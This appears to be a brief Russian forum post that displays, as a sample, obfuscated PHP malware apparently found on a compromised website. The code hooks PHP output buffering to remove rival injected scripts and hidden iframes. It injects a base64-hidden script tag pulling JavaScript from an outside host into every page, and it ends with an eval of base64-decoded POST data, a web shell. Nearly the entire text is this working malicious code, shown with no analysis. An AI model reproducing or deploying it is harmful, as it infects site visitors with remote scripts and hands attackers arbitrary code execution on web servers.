выглядит это все примерно так =)))
КОД
if(!function_exists('xro')){function xro($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0]as$v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0]as$v)if(preg_match('#[\. ]width\s*=\s*[\'"]?0*[0-9][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL2RlbmlzZW4uY29tLmNuL2VkaXRvci9MSUNFTlNFLnBocCA+PC9z
Y3JpcHQ+'),'',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s,1);elseif(strpos($s,'<a'))$s=$a.$s;return$s;}function xro2($a,$b,$c,$d){global$xro1;$s=array();if(function_exists($xro1))call_user_func($xro1,$a,$b,$c,$d);foreach(@ob_get_status(1)as$v)if(($a=$v['name'])=='xro')return;elseif($a=='ob_gzhandler')break;else$s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('xro');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$xrol=(($a=@set_error_handler('xro2'))!='xro2')?$a:0;eval(base64_decode($_POST['e']));